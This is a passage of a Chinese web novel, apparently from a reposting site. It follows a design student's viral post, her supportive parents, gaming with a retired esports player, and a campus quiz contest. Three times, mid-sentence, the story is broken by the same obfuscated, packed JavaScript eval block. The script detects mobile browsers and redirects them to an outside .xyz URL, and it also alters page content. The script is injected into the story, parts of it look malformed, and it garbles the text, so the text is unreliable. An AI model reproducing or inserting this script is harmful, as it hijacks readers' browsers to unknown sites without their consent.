「什么叶寻,这简直就是我老公啊」 「……」 秦见夏越往下翻越脸红,一时也看不到底,最终还是退出评论区。 面前的螺蛳粉都似乎变得更加好吃,如果不是她饭量有限,秦见夏会立刻给自己奖励份一直舍不得加进螺蛳粉的十块钱炸猪脚。 虽然帖子爆了是件好事,但她的心情有些复杂。 命运似乎总在和她开玩笑。 秦见夏不是没尝试过自媒体,她去年也发了很多自己的设计作品,以及审美案例分享。 勤勤恳恳日更一个月,粉丝还是个位数,她就弃号重开了。 这次随手一发,甚至连文案和话题都没加,没想到就这样起了号。 此时,像是得知辅助哥是Jichoo本人那刻一样令人匪夷所思。 秦见夏边擦鼻涕边嗦粉,不禁对命运产生了一些新的认知。 她的人生,简直时刻贯彻“有心栽花花不开,无心插柳柳成荫”。 不出意外,她再努力日更这个号,也会收获惨淡的下场。 活了二十一年,也算大概掌握一些哲学又玄学的规律。 秦见夏用一顿饭的时间,决定放弃这泼天的流量,不当绘画博主。 画角色只是为了丰富作品集,设计和画画不同,她还是更喜欢设计—— 如果秦见夏真的喜欢画画,当初也不会选择视传这个专业。 让她偶尔画一下还行,真要深耕绘画领域就一百个不乐意了。 秦见夏现在只需要一份大厂的实习offer。 她在回宿舍的路上发了条新帖,宣布自己改了id。 行走江湖还是需要得体的马甲,秦见夏给自己起名为“夏笺”。 那条帖子的热度还在升高,她打算产出了再更新账号。 她想不以做账号为目的地设计。 秦见夏在家庭群里给父母分享了自己在网上小火的好消息,过了一会,妈妈发来很多条语音。 她戴上耳机逐条去听—— “妈妈真为你骄傲!我就说我闺女很优秀的!等宝贝回来了妈妈和爸爸带你吃大餐!” “对了宝宝,前两天你不是说感觉太累,不想考公考研了吗?我和你爸开了家长会议,我们一致认为,咱家不需要你去考公考研。” 秦见夏不禁一怔,没想到自己随口抱怨的话,爸妈真的会去认真商量。 “爸妈最大的愿望,就是夏夏能够一辈子做自己喜欢的事情,而不是一个好的前途。” “前途没那么重要的,健康平安开心才最重要。” “还记得当初妈妈为什么同意花十万块钱送你去杭城学美术吗?是因为我们夏夏说,自己想去美院学画画啊。” “结果,画画其实是你作为文科生权衡利弊后选择的最好出路,你真正喜欢的事情好像并不是画画……” “妈不知道你一直执着于‘找出路’,是不是受到了小时候的影响,”赵霞语气昂扬,“你的优秀,我和你爸都知道。夏夏不需要做出一番很大的成就来证明你自己,为什么要拿我们的人生证明给别人看呢?” “之前你舅妈总说妈妈太宠你,你姥姥也觉得妈妈过于纵容你,但这些和你没有关系,你妈就乐意宠你咋了!” “当妈的宠女儿天经地义,如果做妈妈的都不疼女儿,那谁会心疼她呢?” “那时你虽然小,但我知道你心里门儿清,所以妈妈就义无反顾地和他们都断了联系。在我心里,你是最重要的人,我们彼此才是真正的血脉相连,他们都不能与你相提并论。” “我们是世界上最亲密的关系,谁也不能挑拨。” “况且,妈妈也把我们夏夏宠成了很优秀的小孩啊,妈真的觉得,你是世界上最厉害的小大人!” 赵霞最后说:“我不知道你是不是为了让妈妈挺直腰杆,才一直这么争气,但是我和你爸都不需要你争气,我们就是想让你开开心心的。” “想做什么就去做,想回家了爸妈就来接你,妈妈永远支持我们夏夏!千万不要给自己太大压力哦~” 原来妈妈是想多了,她也罕见按下语音条,缓慢走进食堂外漆黑的竹林小道,对赵霞说:“妈,我就是想装逼,装逼其实也算是我喜欢的事。” 赵霞发来三个句号。 “好啦——陈芝麻烂谷子的事,不提他们了,我们又不和你弟争老家的破烂土房,他们当然是嫉妒我们啦!” “现在他们的当务之急,应该是解决你侄子侄女小学就次次考试倒数的问题,”秦见夏勾了勾唇,心情十分惬意,“儿女双全又怎样?加起来都打不过我小拇指一根。” “妈,你放心吧,”她收起混不吝的态度,诚恳道,“妈妈,你也是我最爱的人。” 她把自己的小红书主页截图给妈妈发过去,打字:「你看,我在做自己喜欢的事呢」 她没说她要投大厂暑期实习的事,决定收到offer再看。 片刻后,那边又发来一条语音,里面传来爸爸的声音,还有妈妈在一旁喊“还我手机”。 秦国海争宠道:“妈妈是你最爱的人,难道爸爸不是吗?” “我妈是生我的人,我当然最爱她啊,您排第二。” “好吧,”秦国海想了想,“有道理。” “那排第二也不错,”他突然又想起什么来,“你以后的男朋友,不许撼动我们冠亚军的地位,只能排季军!” “我觉得还是招赘吧,招赘比较好……” 秦见夏不用想,她家又得连夜开家庭会议了。 她将手机塞回防晒外套的口袋里,心中一片踏实,听起自己的日推歌单。 秦见夏的家庭比较反传统,父母万事以她为主,以他们的三口之家为主,甚至每年春节,都只在南城自己家里过。 赵霞的家庭倒是很经典,她有个弟弟。 父母对她有十足的控制欲,始终给她灌输“长姐如母”的思想,将弟弟宠得无法无天。 她仿佛天生就是来给弟弟擦屁股的。 赵霞忍到秦见夏出生,他们又想控制她的女儿,在老家时,试图对秦见夏灌输他们那套封建思想,总是夸大他们眼中女儿的“小缺点”。 那年,赵霞望着秦见夏泪眼婆娑的小脸,仿佛看到另一个自己。 她从此义无反顾地断了亲。 如果享受亲情的代价,是要委屈自己的女儿,那她宁愿不要这份亲情。 即便如此,她还是总觉得对秦见夏很抱歉,让年幼的女儿在自己的原生家庭里受到了伤害,后悔没有早些醒悟。 秦国海的家庭就简单许多,父母走得早,他平时没有不良嗜好,脾气也温良,对妻子很是尊敬,只想努力挣钱给妻女更好的生活,连为数不多的爱好都很健康,如钓鱼、爬山等。 秦见夏家里唯一的矛盾点就是——秦国海要带妻女去遛弯运动,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669841|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们不肯。 其他任何矛盾,都会在第一时间开展家庭会议,将问题说开,从不过夜。 她的父母认为孩子同样也是家庭成员,所以无论任何大小事都会和她商量。 人无完人,但父母都愿意为了秦见夏,与时俱进地改变自己的观点。 家庭给她带来了十足的安全感,这是她面对人生的底气。 秦见夏回到宿舍,打开朋友圈一刷,发现父母拿她主页带粉丝数的截图发了朋友圈,还贴心地加了很多花里胡哨的贴纸,丝毫没有暴露她的马甲,只想分享喜悦。 秦见夏给他们分别点了赞,之后切换小红书看到又涨了粉丝,她强迫症地点掉小红点,注意到最新的两个粉丝都用系统头像顶着“夏夏的粉丝”这个id。 不用猜也知道是谁。 她孝顺地和父母进行了互相关注。 即便室友仍在吵闹,但秦见夏已经悄然与负面情绪和解了。 翌日的结课汇报相当顺利。 秦见夏没被范川的死亡提问秒杀,每个问题都答得滴水不漏。 川总最后露出的满意表情,令她不由得沾沾自喜。 秦见夏抱着电脑,走下讲台后,立刻对父母报喜,说自己好像也没有那么平庸,得到了系主任的认可诶。 父母又对她进行一番花式吹捧,并旁敲侧击地暗示他们想她了,让她回家过周末。 秦见夏表示自己周末要睡两天觉,而且下周就放暑假了,这车票钱花得没必要。 赵女士在家庭群发了他俩举着马伍旺拍的照片,以示不满。 秦见夏哄她,之后一定陪她去看王菲演唱会,第一时间帮她抢票,她这才满意。 其实她们院结课就算放假,因为不用考试,所以今天下午最后一节课上完拎着行李箱飞奔回家都行。 然而她所在的社团,还有本学期最后一个志愿活动,时间定在下周三。 是支教的公益捐书活动,光值两天班就能拿到很多志愿时长。 秦见夏舍不得放弃这个一年一度的机会,只好在学校多留几天,正好可以把两门专业课的作业再完善一下。 陈文欣和林喜明天就坐高铁回家了,苏织好像也打算多在学校待几天。 最后几天陈文欣不在,秦见夏乐得清闲。 她躺在宿舍床上,拉着床帘,刚买完下周三晚上的高铁票,正百无聊赖地刷着微博,毫不意外地看到Fine和Jichoo又上了热搜。 这次是Fine继上王者后再次赌输,发了4090的下单截图。 不出所料,这两场赌局估计是黄油的小把戏,没热度了就用这种方式炒热度。 秦见夏对此已经见怪不怪。 心灵感应般,谈继秋发来微信。 谈继秋:「转账怕你不要,iPhone等九月份出了直接寄到你学校。」 谈继秋:「签名照刚刚揽收。」 秦见夏没想到他会把iPhone给她。 不管怎么说,不要白不要,这怎么不算是她应得的! 刚好可以把新手机给妈妈用。 她当即狗腿地发了“谢谢老板”的表情包。 老板秒回:「农吗。」 秦见夏扭头就忘本:「你不上飞机吗?」 谈继秋:「吃鸡只能单排了,今天周五,美元去陪女朋友,fine在基地训练。」 勤捡虾球:「那你直播去」 秦见夏觉得,他有点耽误自己刷短视频。 而且——自从得知他并不是男高中生,自己还被误会成他女朋友上热搜后,秦见夏心里总觉得有些怪异。 两个年龄差距不大的成年男女,还是保持距离比较好。 所以她最近一直没找他打王者,当然也有这两周比较忙碌的原因。 谈继秋:「你变了。」 勤捡虾球:「?」 对方输入了一会,发来一句:「你是不是只喜欢和男高中生打游戏?」 31. 心跳声 秦见夏感到有点被冒犯。 如果对面不是谈继秋本人,如果没有那台iPhone15Promax,她会立刻向他展示一下电竞老粉的实力。 结果,谈继秋只是在开玩笑:「我也算高中生啊,我有高中学历。」 秦见夏连忙将输入框里的文字删掉。 好险,刀差点没收回去。 勤捡虾球:「我有学历歧视」 谈继秋:「……」 谈继秋:「那算我求你。」 谈继秋:「你就当去敬老院做贡献了。」 勤捡虾球:「上号」 谈继秋:「1。」 秦见夏盘腿坐起,摆好最适合打王者的姿势,最后刷了一眼朋友圈,发现有人在集赞。 似乎是A大这周末在橘园食堂有组队活动。 她想都不用想,奖品不是送小龙虾,就是瓜分劣质植物奶油蛋糕,稍微良心大发一次,可能会送个三块钱餐券,不会多于五块。 然而出于校友情谊,她连名字都没看是谁,还是帮忙点了个赞。 谈继秋:「上号啊。」 谈继秋:「鸽了?」 谈继秋:「别虐待老人。」 秦见夏连忙打开王者,内心有点骂骂咧咧。 谈继秋见她进房,开麦道:“还以为你要鸽我。” 秦见夏仗着室友都在外放,也开麦说:“鸽谁也不敢鸽您啊。” “我说秋神,你不至于朋友少到连打王者都没人陪了吧?” “不是,”谈继秋诚实说,“他们周五周末都出去喝酒了,我不喜欢去酒吧。” “而且他们看不起农……” 秦见夏:“我恨你。” “那你就去打端游,直播呗,”她伸了伸腿,让血液流通,“我刷短剧很忙的。” “你就是不乐意和我双排对吗?”突如其来地,他有些生气,“那和张煦你就愿意了?” 这语气好像她是负心汉一样,秦见夏一头雾水地挠了挠头,尽量用开玩笑的语气说:“Jichoo老师,我们只是前粉丝和退役选手的关系啊。” 他闻言沉默片刻,直到BP阶段,看见秦见夏预选了瑶。 谈继秋在一楼,赌气般一抢蔡文姬。 好似曾相识的场面…… “你为什么不玩射手啊?”秦见夏察觉到气氛怪异,主动缓解道,“我想躺,懒得打。” 对面安静半晌,才回应:“我用电刀斩杀流蔡文姬带你,不行?” 秦见夏:“……” “不是你说让我陪你上分到月底吗?”他的声音听上去闷闷地,“明天就七月了,这几周你都没来找我……” 谈继秋想问——她是不是在为他骗她的事生气,但又觉得,自己没有立场去问。 如她所言,他们的确只是前粉丝和退役选手这样清白又奇怪的关系。 可……他挺想和她做朋友的。 秦见夏认为可能是自己的耳机坏了。 怎么从耳机里听他的声音,竟然能捕捉到一丝……委屈…? 这种情绪,会出现在谈继秋身上? 肯定是耳机坏了。 她当即晃晃脑袋,锁定伽罗。 “我这两周刚好赶上期末周,比较忙,没顾上打游戏,”秦见夏顺从地解释完,本想中断话题,却鬼使神差地又补了句,“我已经放暑假了,现在比较闲,你想玩可以随时滴我。” 秦见夏说完就后悔。 万一他只是想完成任务把她带上荣耀王者呢? 堂堂秋神,不至于真游戏降级沉迷农药了吧。 人家可能只是客气几句,真正目的是早点把她这个突发任务做完——她居然当真了…… 想想也是,那可是Jichoo诶! 怎么可能没有游戏搭子! 她也太自作多情了吧! “好啊。” 秦见夏刚想为自己找补几句,谈继秋就不假思索地应下,她只好硬着头皮往回圆:“那个…秋神,我之前提出想让你带我上荣耀王者,只是不想你太有心理压力,其实不需要什么补偿的,我没觉得这是多大的事……” “您送我手机和签名照我就已经很感激了,真的!您其实不用浪费时间陪我打王者的!” 谈继秋听后,似乎愣了几秒,随即不知所谓地轻笑两声,听得秦见夏有些脸热。 “所以你觉得——我是因为想早点完成任务,才来找你玩游戏的?” 他的语气中含着微弱的笑意。 黑黢黢的床帘里,她仿佛能听到自己心跳的声音。 秦见夏迟疑地,“嗯”了一声。 “那我为什么不直接给你找个代练?”谈继秋的笑声低低地,听得她耳朵有些痒,“况且,如果我单纯想带你上分,怎么可能把把给你打辅助?” 他尾音上扬,却不含一丝嘲弄的意味。 正经到,有些不正经。 秦见夏脸又热了,像是冰镇可乐被拽开拉环的那一刻,甜腻的二氧化碳扑面而来,令人昏昏噩噩。 他是……什么意思? 不单纯、吗……?! 似是察觉到对面的宕机,谈继秋又说:“你别多想,你和你朋友打游戏,会觉得是在浪费时间吗?” “还是说……” 他刻意停顿两秒—— “你没拿我当朋友?” “!” 他咬字清晰,语调缓慢,充满歧义。 秦见夏语速快得险些咬了舌头:“没没没,当朋友了!要不咱俩现在就拜把子——朋友一生一起走~” 人在尴尬的时候,会让自己变得更尴尬。 谈继秋被她逗笑,秦见夏塞着耳机,这笑声仿佛回荡在她耳边似的。 忍无可忍的秦见夏,满脸涨红地正色道:“开了开了,秋神你别坑我。” 言外之意是,你可千万别出电刀。 此时,另一边的谈继秋也红着耳尖出了宝石,故作无事发生地说:“放心,我带的干扰。” 两人心里都有些别扭,说不清道不明,也不知道这异样从何而来。 蔡文姬最后还是按照正常出装和打法,并没有玩输出流,也没有抢秦见夏的人头,很老实地给她辅助整局。 她就陪谈继秋打了一把王者,最近正在追的综艺八点半准时更新。于是游戏结束后,她便一气呵成地退出王者、拉开蚊帐下床、坐到书桌前支起ipad。 今天是结课日,秦见夏的心情十分愉悦,哪怕陈文欣此刻正在一边窥视她,一边噼里啪啦地收拾行李,也丝毫没有影响到她的好心情。 苏织刚换好小皮鞋,准备下楼买泡面。 秦见夏听到动静,立刻转身,朝她双手奉上饭卡,眼巴巴地望向她,语气虔诚:“舍长大人,能不能帮小的带一块西瓜。” “如果方便的话,我还想要一块哈密瓜。” 她故意翘起兰花指,矫揉造作地比了个“1”。 枚园超市的西瓜和哈密瓜是秦见夏最爱吃的水果,不仅西瓜没籽,而且超市阿姨会把它们去皮,切成最方便啃的弧形,一大块只卖四块钱不到。 很适合夏天当做晚饭或者夜宵吃。 苏织从她的白色转椅上,优雅地拿起手提包,潇洒接过饭卡:“朕知道了。” 宿舍木门老旧,锁芯生锈,需要用力才能关上,“咣”一声过后,震得秦见夏身侧的阳台门都在微微颤抖。 寝室内重归一片静寂,秦见夏在身侧陈文欣打量的视线中,恍若未闻地找到综艺点开,将音量降到两格。 对于室友似有似无的窥视,秦见夏适应了三年,已经脱敏。 她们宿舍默契地达成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669842|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 共识,在非休息时间都会小声外放,这一点陈文欣也不会挑毛病——她声称自己耳鸣,戴不了耳机,也在肆无忌惮地外放手机声音。 综艺开头前两分钟是广告,秦见夏百无聊赖地拿起手机看了看。 谈继秋几分钟前发来消息:「怎么秒下线了?」 秦见夏回复:「你自己玩吧,我看综艺去了,正好八点半更新」 以为说到这他就不回了,没想到他还追问:「什么综艺?」 她心想,谈继秋这家伙果然很闲。 勤捡虾球:「温虞的新综艺」 谈继秋说:「你还追星啊?」 秦见夏觉得他好啰嗦:「不追,我就爱看综艺,886回聊」 她正打算熄屏专心看视频,手机上又弹出条消息,秦见夏下意识认为是谈继秋,心想男人真烦,定睛一看,才发现是校友猴子大王。 还好他把微信头像又换回了地狱火,不然秦见夏已经将这号人物忘之脑后。 莫清谷:「明天的活动你参加吗?」 勤捡虾球:「什么活动?」 莫清谷:「你不是才赞过我朋友圈?就是校学生会办的那个“男生女生向前冲”,这学期最后一个活动了」 原来那条朋友圈是他发的…… 秦见夏点进活动链接里瞄了一眼,游戏内容大致是一些找不同、猜灯谜、猜学校地点的小游戏,需要男生和女生组队一起参加,一等奖是——两个Beats耳机。 可恶,A大怎么知道她正好缺一个头戴式耳机…… 勤捡虾球:「咱学校什么时候这么大方了?」 莫清谷:「不重要,反正不是破蛋糕就可以冲」 莫清谷:「你组队了吗?」 勤捡虾球:「没有,但我懒得去,起不来」 莫清谷:「我在表白墙上捞不到一起的,能不能拜托虾球大王大驾光临帮帮哥们」 莫清谷:「那可是Beats,别做傻事」 莫清谷:「最近期末周大家都忙着背书,结课早的肯定已经回家了,你确定不去?」 勤捡虾球:「我去!」 莫清谷:「20人工智能莫清谷,学号T20200213,你把表一填」 秦见夏一边复制他的信息,一边不知道第多少次心道,猴子大王的名字确实挺好听。 光看姓名,感觉应该是个斯文学霸型。 目光瞥到他的小学生头像,她遗憾地“啧”了声。 填好后,她把截图发给莫清谷,对方不放心地嘱咐:「明天九点,你可千万要起来啊」 秦见夏:「/ok」 正打算继续看综艺,耳边忽然传来陈文欣半死不活的声音:“夏夏……你交男朋友了吗?” 秦见夏奇怪地瞟她一眼:“没有啊。” 本不想把话题延续下去,顿了顿却还是补充:“怎么这么问?” “我刚刚听到,你一直在和谁聊天……”陈文欣瞪着圆眼睛,作无辜懵懂状,试探道,“原来不是男朋友吗?” 烦死了。 秦见夏微微偏过头的那两秒,有种想要撕破一切的冲动。 陈文欣是真不知道还是假不知道,她的小心思,就差一笔一划地写在脸上了。 她的行为让她分辨不清,究竟是真蠢还是故意的。 如果是故意为之,那这目的也太明显了。 看来是真蠢。 秦见夏的理智崩塌一瞬又很快恢复,人机般微笑着,郑重其事地开起玩笑:“不是男朋友,我是女同,你要小心点。” “我也不一定是女同。” “我的性|取|向其实是沃尔玛购物袋。” “我刚刚在和沃尔玛购物袋聊天。” 不可明说的言外之意是—— 请、 闭上嘴,滚远点。 32. 体育生 秦见夏此话一出,陈文欣憋了个哑炮。 她沉默地继续收拾行李,不再言语。 尽管气氛僵持,秦见夏却没有圆场的打算,一副故意没察觉到的姿态,自己倒是乐得清闲。 她这话就像是巧克力。 人吃了会笑,狗吃了会死。 翌日,早晨八点半。 秦见夏躺在床上,思考了整整一分钟,好不容易放了假,自己究竟为什么要在周六赶个早八。 想着她确实需要耳机,秦见夏艰难地把自己哄起床了。 蹑手蹑脚地洗漱完,猴子大王已经发来n条消息—— 莫清谷:「姐,起来了吗?」 莫清谷:「别鸽」 莫清谷:「求你」 莫清谷:「1」 莫清谷:「。」 秦见夏从桌上拿起保温壶,倒了杯温水,慢悠悠地边喝边回复「1」。 莫清谷秒回:「我今天穿了身黑色运动服,站在橘园食堂台阶上等你」 秦见夏:「1」 莫清谷:「。」 此时,莫清谷正蹲在栏杆旁边啃包子,室友猛地从身后给了他一个“爱的巴掌”,将他惊得差点摔下台阶。 莫清谷当即起身还击,口齿不清地国骂:“%……&%#¥@#” 室友躲到女朋友身后,戏谑道:“你究竟找到女伴了没?班长大人~” “当然!”莫清谷拎着两杯豆浆,雄赳赳气昂昂地说,“还是艺术学院的呢!” 室友闻言,发出阴阳怪气的叫声,显然是不信。 莫清谷懒懒地翻了个白眼给他,正欲再说些什么,耳边忽然传来一道细微的女音:“你是……莫清谷?” 他回头,垂眸瞥见一个长相清秀的女生。 “你就是、那个……” “我叫秦见夏,”她和善地扬起唇,笑容灿烂,脸颊右侧凹进去一个酒窝,“你好你好,猴子大王。” 她似乎被这个id逗乐,说完自己反倒笑了半天。 莫清谷:“……” 秦见夏并不是他想象中那种学艺术的个性女生。 没有五颜六色的头发,也没有唇钉鼻钉,看起来十分好相处。 她素面朝天,像是刚洗漱完,耳鬓间的碎发有几缕贴在脸颊边。 秦见夏皮肤很白,一头栗色长卷发披在肩上,即便戴着黑框粗边眼镜,也遮不住眼底的熠熠生辉。 她的穿搭倒是很艺术生。 Oversize的蓝绿色短袖,搭一条阔腿破洞牛仔裤,短袖上的图案是一只卡通腊肠狗,洞洞鞋的鞋花也是腊肠狗的小装饰。 莫清谷完全出乎意料,没想到此人竟顶着一张高中生的脸,在网上语不惊人死不休。 秦见夏同样在打量面前的男生。 她本以为,这位AI学院的“猴子大王”,肯定是戴着厚眼镜、穿着格子衬衫的标准it男,没想到他竟是长相出众的“黑皮体育生”。 莫清谷剑眉星目,拥有男大经典皮肤——半框眼镜和微分碎盖。 他身形高大,手长腿长,黑色运动短袖下的胳膊肌肉健硕匀称,还穿着缤纷水果鞋……似乎是刚运动完来的。 这猴子大王居然还挺帅。 秦见夏感到匪夷所思,心想怎么快大四了才碰见。 “走吧,”莫清谷的室友朝前方插着校学生会旗帜的棚子走去,“先去排队。” 他女朋友跟在身后,秦见夏这才发现,原来这俩人和莫清谷是一伙的。 她立即快步跟上,凑到唯一的女孩身边,亲切道:“你好,我叫秦见夏,姐妹你好漂亮啊!你是哪个院的?” 女生也友善地说:“我是法学院的。对了姐妹,你的短袖有链接嘛,能不能发我一下~” 两个女孩就这样互换微信,并且打开了话匣子,聊得正上头时,身后的莫清谷对秦见夏说:“还聊?马上开始了。” “知道了猴子大王,”他们走向右侧桌子签到,木桌后的学生会成员正在忙碌地布置答题卡,秦见夏见状,偏头小声询问莫清谷,“这是怎么个游戏规则?” “你居然没仔细看推文!”正弯腰签字的莫清谷顿时大呼小叫起来,与他高冷的姓名十分不符,又耐心道,“就是限时十分钟,答对一题积一分,最后积分第一的队伍获奖。” 秦见夏点点头,瞥了眼桌上的一堆烂纸片,面目狰狞地吐槽:“这有点草台班子。” “奖品有Beats,还想要什么自行车?”莫清谷直起身,将中性笔递给秦见夏,顺手把豆浆换到右手时,才记起另一杯是买给她的。 他举起豆浆和豆沙包,递到女孩面前,语气轻快:“你肯定没吃早餐吧?喏,请你!” 秦见夏有些不好意思,刚想婉拒,莫清谷又道:“你都不辞辛苦地早起陪我组队了,我请你吃个早饭是应该的,别客气,快收下吧——正好,请你吃了早饭,就不请你吃午饭咯~” 不愧是能保研的,左右都没理由拒绝。 她只好连连道谢地接下。 天气晴朗,整个校园焕发着崭新、明快的生机。 食堂的叔叔阿姨进进出出地忙碌着,橘园小广场零星有校友背着书包穿梭其中,“猫学长”正伸着懒腰,坐在食堂台阶上围观。 一旁快递柜发出“砰砰”的入库声,两张长桌后的学生会同学们,正叽叽喳喳地讨论着。 分别登记完,大家自觉排到另一张桌子后。 秦见夏一边吃着早饭,一边抬头欣赏食堂后的湛蓝天空。 空气清新,她感到一丝久违的、健康自律的学生味。 “在看什么?”莫清谷好奇地顺着她的目光,抬眼瞧去,只看见橘园食堂精致宏伟的屋顶。 秦见夏语气沧桑:“我像一只阴暗的蟑螂,在偷窥活人的健康大学生活。” 莫清谷:“……” 由于他们两组到得最早,便顺利成为“男生女生向前冲”的第一批挑战者。 除了莫清谷的格子衫室友,剩下三人都男帅女靓,相当惹眼。 学生会宣传部的同学在征得同意后,刻不容缓地举起相机,对着他们一顿猛拍,恨不得把内存卡拍满。 秦见夏颇有偶像包袱地收着下巴,故作忙碌般打量起四周,突然发现——在场的所有同学,要么戴眼镜、要么戴美瞳,全是近视眼。 她莫名笑了笑。 心想知识改变视力。 第一关是找不同,这对于秦见夏和莫清谷来说,毫无难度。 小学时风靡找不同的图画书,她不到一天就能玩完一本。 然而,队内倒是竞争起来了。 学生会的同学每翻一张,秦见夏和莫清谷就争先恐后地抢答,不到两分钟时间就将十道题全部答完。 第二关是禁止出声的“你划我猜”。 起初是莫清谷去比划,但他笨手笨脚地划拉半天,秦见夏都没看出是什么,于是果断和他换了位置。 “白菜”这个词,她就先比了“二”的手势,意思是两个字,再指向桌上的白纸,做出踩的动作,比划四声音调的写法,最后又指了指食堂。 莫清谷顿时茅塞顿开,答出是白菜。 她就这样简单粗暴地以三分钟过了第二关。 第三关是“我画你猜”,美术生秦见夏在纸上画,还是由莫清谷来猜。 这和上一关相比难了许多,题目都是一些成语。 好在秦见夏脑筋灵活,又简单粗暴地画出每个字的意思,结果不到两分钟就通关了。 学生会同学:“同学,你手速这么快吗?” “你当我美术生跟你开玩笑呢——”她臭屁地扬起下巴,“我们速写比这还残酷,我这已经算退化了。” 最后一关是猜灯谜,这关难度最高,全是古诗词,莫清谷彻底失去所有手段。 可秦见夏是文科生啊,还是文综高分的文科生。 况且,有的灯谜去年元宵节赢兔子灯的时候猜过了,于是她单枪匹马地用两分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669843|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半猜出了十道灯谜。 莫清谷全程在一旁叹为观止、拍手叫好,恨不得当场为秦见夏黄袍加身。 学生会被第一组的速度震撼到,连连喊叫翻车。 不知哪个部门的部长,笑着拿出另一沓用A4纸打印的黑白图片:“还好准备了加时赛。” 加时赛是猜地点,图上都是学校新区和老区的无人机俯拍照片,而且只拍了各个楼和道路的局部,不给提示还是比较难猜的,因为学校里的建筑基本都长得差不多。 第一张图就把两人难住了,照片上看起来像个五行八卦阵,可这是学校又不是蜀山,哪来的八卦图……? 秦见夏摸着下巴,左右歪脑袋打量,疑惑地问:“这是新区吗?” 部长偷笑道:“当然。” 学生会的同学们在后面憋笑,秦见夏与莫清谷面面相觑。 突然,她想起来,这不是艺术楼通往瑰园食堂的必经之路吗? 她立刻回答:“这是教学南楼和艺术楼中间的那个奇怪的装置,据说是缩小版的北体育场模型!” 学生会同学们笑不出来了:“下一题。” 第二题轮到莫清谷恍然大悟:“这不是我们理工楼后面的栅栏吗?我们点外卖经常从这里拿。” 学生会:“……” 题目小众到人家“老巢”了。 第三题拍的是四块石柱,四个长短不一的长方体直直地插在草地上,上面什么都没有,还是黑白图片。 莫清谷无语吐槽:“是不玩不起?这谁能看出来啊……” “等等——”秦见夏越瞧越眼熟,一拍桌子说,“艺术楼的招牌,你们拍的是石柱背面!” “不是,你们谁想到的?这么刁钻变态的角度。” 学生会同学:“嘿嘿。” 你们以为Beats这么好拿吗? 最后,凭借秦见夏和莫清谷的文理结合,又拿下七道加赛题,一共斩获四十七分。 莫清谷的室友只得到二十八分,目前几支队伍里,秦见夏他们积分最高,具体结果还要等活动结束后在公众号宣布。 他们比赛完没有当即离开,大家都没别的安排,又心照不宣地在旁边看了会其他队伍答题。 气温升起来时,一看时间已经十点,四人一拍即合,决定直接去瑰园吃舌尖大师。 秦见夏去橘园食堂旁边的学生服务中心取完快递后,骑电动车带莫清谷室友他女朋友先去占座位,两个男生不怕晒,走路去瑰园食堂。 舌尖大师和麻辣香锅很类似,四人点了二百多的菜,这是秦见夏和室友们来吃时,从未点到的金额。 她心想,这下终于能吃爽了。 莫清谷室友的女朋友是大二的学妹,由于新宿舍还在装修,她们就在A大新买的校区住了一年多,这学期刚搬来新区。 学妹还是第一次来吃舌尖大师,她看到服务员阿姨端来一个像鼎一样的长方体铁锅,瞠目结舌道:“这也太有排面了。” “那当然,”秦见夏正打算给大家倒大麦茶,右手刚搭上茶壶,便被莫清谷一言不发地抢过,她只好将杯子推近,替学妹讲解,“舌尖大师的摊位是占地面积最大的,也是咱学校食堂唯一有卡座的档口。” 她边说边拍了拍沙发。 秦见夏倏地想起什么,主动打趣道:“猴子大王,我给你支的招如何了?在抖音钓到鱼没?” “你别提了……” 莫清谷话音刚落,被室友打岔:“鱼没钓到,反而被喷了五十条评论,哈哈哈!我就说嘛,还是继续找同学搭线比较好。” “为什么被喷?”秦见夏不解。 室友笑得差点直不起腰:“猴子发的是自己没被晒黑前的照片,半框眼镜一戴,特别像0,咱学校通讯录还不少,私信他的都是男的!还有人找他买……哈哈哈哈!” “然后他破防了,一一回复他不是通讯录,他们就组团去评论区把他臭骂一顿。” “猴子这回应该是彻底清心寡欲咯。” 33. 封口费 “愿世界接受异性恋。” 莫清谷无奈。 “哈哈哈哈哈哈——”秦见夏没想到支错招了,推了推眼镜,安慰他,“我的锅我的锅,一会请你喝奶茶。” 莫清谷偏头看她一眼,笑容灿烂:“好。” “你居然不是天生黑皮啊?”秦见夏疑惑地问,“那你这是美黑吗?” “当然不是,我是训练晒成这样的,”莫清谷嘚瑟地吹了下刘海,“这学期校运动会,我可是男子三千米长跑第一!” 秦见夏不禁赞叹,这猴子大王的确是很健康的活人男大学生,感觉气血很足的样子。 四人又边吃饭边聊了一会有的没的,分别时,莫清谷突然问她:“晚上一起打游戏吗?” 秦见夏闻言回头,摆手拒绝:“不啦,我得赶ddl,明天我们要交结课作业,咱们回头再一起玩。” 男女生宿舍在反方向,莫清谷望着她纤细的背影,若有所思。 